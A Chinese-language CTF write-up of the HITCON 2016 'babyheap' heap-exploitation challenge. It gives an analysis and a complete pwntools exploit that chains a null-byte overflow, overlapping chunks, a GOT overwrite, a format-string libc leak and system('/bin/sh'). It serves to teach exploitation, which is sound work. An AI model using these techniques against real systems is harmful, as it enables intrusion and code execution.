hitcon 2016 pwn babyheap writeup

Notice

For English information, just get a closer look
at my exp.py.

題目

Heap so fun! Baby, don’t do it first. nc 52.68.77.85 8731 note : the service is running on ubuntu 16.04

地址:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/baby-heap-300

分析

題目本身來講比較可疑的是提示了ubuntu 16.04,看來需要用到這個信息,應該是ubuntu 16.04有一些奇妙的東西。

題目邏輯

4種操作,一個結構體:
結構體:

struct Note{
    __int64 len;
    char name[8];
    char *content;
};

用來表示一個記錄。

操作:
1. new: 新建一個Note結構體,先malloc結構體,然後malloc content,輸入content,再輸入name
2. edit: 直接edit content的內容,有一個標誌位,edit之後標誌位會被記錄,之後再edit會直接退出
3. delete: 直接刪除,先free content後free結構體,同樣有標誌位,delete之後被記錄,無法再delete
4. exit: 通過scanf("%2s", xxx)來讀入一個操作,如果操作以n開始則繼續,否則退出

漏洞點

在new中輸入name的時候,存在一個null-byte-overflow,根據結構體的形式,會覆蓋到content的最末位。

利用思路

現在我們可以使得content變爲xxxx00的形式,因爲先malloc結構體,所以結構體一開始是位於xxxx10的,而
xxxx00是結構體這個chunk的頭部,xxxx00的頭部位於xxxx00-0x10,這個位置是沒有頭部的,而這個題操作
大多隻能執行一次,所以需要非常節約。

這裏就需要用到題目信息了:
在ubuntu16.04,scanf採用了堆作爲其buffer

這就是說對於這個題目而言,超過2位的scanf數據將會被存在堆上,這樣我們就相當於多了一個malloc和free了。

那麼我們可以首先利用這個,使得xxxx00-0x10位置有一個頭部,這樣的話,null-byte-overflow之後我們就可以
進行free了,free的結果將會產生兩個overlapped chunk. 這樣的話再次進行new的時候,由於overlap,就可以通過
在輸入content的內容時候覆蓋到content指針,使得edit造成任意寫。

任意寫之後的問題就是如何利用唯一的一次寫來獲取到shell。

首先,如何獲取libc地址?

單獨通過這一次edit來說,無論如何也沒有機會,因爲根本沒有輸出,所以最終我們選擇的方法是,覆蓋GOT表,從
_exit一直覆蓋到atoi,覆蓋_exit是因爲將_exit覆蓋之後,我們就可以多次edit了,atoi的覆蓋是因爲atoi的參數
是用戶輸入值,覆蓋爲printf可以造成格式化字符串漏洞。

printf代替atoi之後,我們依然可以通過控制printf的返回值,也就是輸出字符數來選擇選項。

那麼,我們使用格式化字符串漏洞獲取到free的地址(因爲free的地址沒有被我們改寫),可以得到libc的base,
接下來再通過一次edit(現在可以edit了,因爲_exit被改了,相當於使得_exit無效了),將atoi再改爲system,
choice輸入參數就可以搞定了。

所以最終思路:
1. 通過scanf讀入0x1000,使得最後位置有一個fake_header
2. null-byte-overflow
3. delete掉剛纔的結構體,使得content和結構體chunk交叉,並且都加入free list
4. 再次new,使得剛纔交叉的chunk被返回,添加時候構造content的值,修改content的指針爲GOT表的位置
5. 通過edit修改GOT表,主要是修改atoi爲printf,_exit爲任意一個可用的ret的地址(可用主要是要避免換行製表符等等),
其餘需要用到的函數,修改爲PLT中該函數位置+6,這樣調用這個函數會進入dl-resolve,依然可以調用
6. 通過我們構造的格式化字符串漏洞得到free函數的地址,從而得到libc_base
7. 通過輸入3個字符,再次edit,使得atoi變爲system函數
8. choice處輸入/bin/sh字符串,使得字符串被傳入atoi(也就是system),獲取shell

一點小問題

  1. scanf讀入大於2個字符之後會放入堆,但是隻能使用一次,第二次的時候會從緩衝區先取內容,而非重新malloc free一個新的
  2. 使用read的時候要注意進行一次raw_input,避免read被連起來導致IO有問題

exp.py

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 0
if DEBUG:
    p = process("./babyheap")
    elf = ELF("./babyheap")
    libc = ELF("/usr/lib/libc.so.6")

def split_input(func):
    def _func(*arg, **args):
        a = raw_input()
        func(*arg, **args)
    return _func

@split_input
def new(size, content, name):
    p.recvuntil("choice:")
    p.send('1')
    p.recvuntil('Size :')
    p.send(str(size))
    p.recvuntil('Content:')
    p.send(content)
    p.recvuntil('Name:')
    p.send(name)


@split_input
def delete():
    p.recvuntil('choice:')
    p.send('2')


@split_input
def edit(content):
    p.recvuntil('choice:')
    # here we send 3 and 3 characters for later use
    p.send('3  \x00')
    p.recvuntil('Content:')
    p.send(content)

@split_input
def exit(content):
    p.recvuntil('choice:')
    p.send('4')
    p.recvuntil('/n)')
    p.send(content)

@split_input
def choose(which):
    p.recvuntil('choice:')
    p.send(which)


def pwn():
    # Note that scanf use heap as buffer on ubuntu 16.04
    # So, we use this, to get a 0x1000 chunk on heap
    # and ends with the fake header, which will be used
    # later
    fake_header = p64(0) + p64(0x81)
    fake_header += fake_header
    payload = fake_header.rjust(0x1000, 'n')
    exit(payload)

    # when we get a new note, we get a chunk after
    # the first allocated buffer of scanf
    # and, of course, when we have a name of length of 8
    # we get a null-byte overflow into the content buffer
    # so, the content will points to some address ends with 00
    new(0x80, p64(0x81) * (0x80 / 0x8), 'c' * 8)

    # since we have a fake header there, before xxxx00,
    # we can free this two address
    delete()

    # now, when we new another note, we can rewrite the 
    # address of the content, since the address freed has
    # been overlapped
    payload = 'a' * 0x20
    payload += p64(0x80)
    payload += 'b' * 8
    payload += p64(elf.got['_exit'])
    new(0x70, payload.ljust(0x70), 'b' * 5)

    # but we don't know the libc_base address yet.
    # so, we rewrite all of the GOT address, except
    # for scanf and free. That is because all we need
    # actually is atoi and _exit.
    # we overwrite _exit so that we can edit again.
    # we overwrite atoi so that we can let it be printf,
    # thus, a format string bug will let us read arbitrary address.
    log.info("printf at plt: " + hex(elf.plt['printf']))
    payload = p64(0x400c9d) # _exit: ret
    payload += p64(elf.plt['read'] + 6) # __read_chk: read
    payload += p64(elf.plt['puts'] + 6) # puts
    payload += p64(0) # stack_chk_fail doesn't matter
    payload += p64(elf.plt['printf'] + 6) # printf
    payload += p64(0) # alarm: doesn't matter
    payload += p64(elf.plt['read'] + 6) # read: read, we need this
    payload += p64(0) # __libc_start_main: doens't matter
    payload += p64(0) # signal doesn't matter
    payload += p64(0) # malloc, doesn't matter, we don't need new now
    payload += p64(0) # setvbuf, doesn't matter
    payload += p64(elf.plt['printf'] + 6) # atoi: printf, truly important
    edit(payload)

    # when we get to choose, we have a format string bug here now
    # first, we use this bug to get an arbitrary read, so we can
    # read the free function, since it is not changed, from that
    # we can calculate the libc base
    p.recvuntil('choice:')
    p.sendline("%9$spp  " + p64(elf.got['free'] + 1))
    free_leak = p.recvuntil('pp')
    temp = free_leak[:5]
    temp = '\x00' + temp + '\x00\x00'
    log.info(temp)
    free_leak = u64(temp)
    log.info(hex(free_leak))
    libc_base = free_leak - libc.symbols['free']
    log.info("libc base:" + hex(libc_base))

    # now we get libc base address
    # rewrite atoi to 'system' function address
    # and we can trigger the shell
    # To do so, we have to edit again.
    # We have changed atoi function to printf before
    # we have to use printf's return value to get into 
    # edit option
    # printf returns the char printed, so we print 3 chars to get
    # to edit option
    # (but here we have done this in edit, always output 3 chars 
    # with '3' in it, so, TADA)
    system_addr = libc_base + libc.symbols['system']

    # copy the previous payload, change atoi only
    payload = p64(0x400c9d) # _exit: ret
    payload += p64(elf.plt['read'] + 6) # __read_chk: read
    payload += p64(elf.plt['puts'] + 6) # puts
    payload += p64(0) # stack_chk_fail doesn't matter
    payload += p64(elf.plt['printf'] + 6) # printf
    payload += p64(0) # alarm: doesn't matter
    payload += p64(elf.plt['read'] + 6) # read: read, we need this
    payload += p64(0) # __libc_start_main: doens't matter
    payload += p64(0) # signal doesn't matter
    payload += p64(0) # malloc, doesn't matter, we don't need new now
    payload += p64(0) # setvbuf, doesn't matter
    payload += p64(system_addr) # atoi, change to system function

    edit(payload)

    # now choose becomes system
    # send the argument, and TADA~~
    sh_str = '/bin/sh\x00'

    choose(sh_str)
    p.interactive()


def main():
    if GDB:
        commands = [
            "b *0x400b35", # delete free 1
            "b *0x400b44", # delete free 2
            "b *0x400bd3", # edit puts("done")
            "b *0x400948", # before read_chk
        ]
        command = '\n'.join(commands)
        pwnlib.gdb.attach(p, command)
    pwn()

if __name__ == '__main__':
    main()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章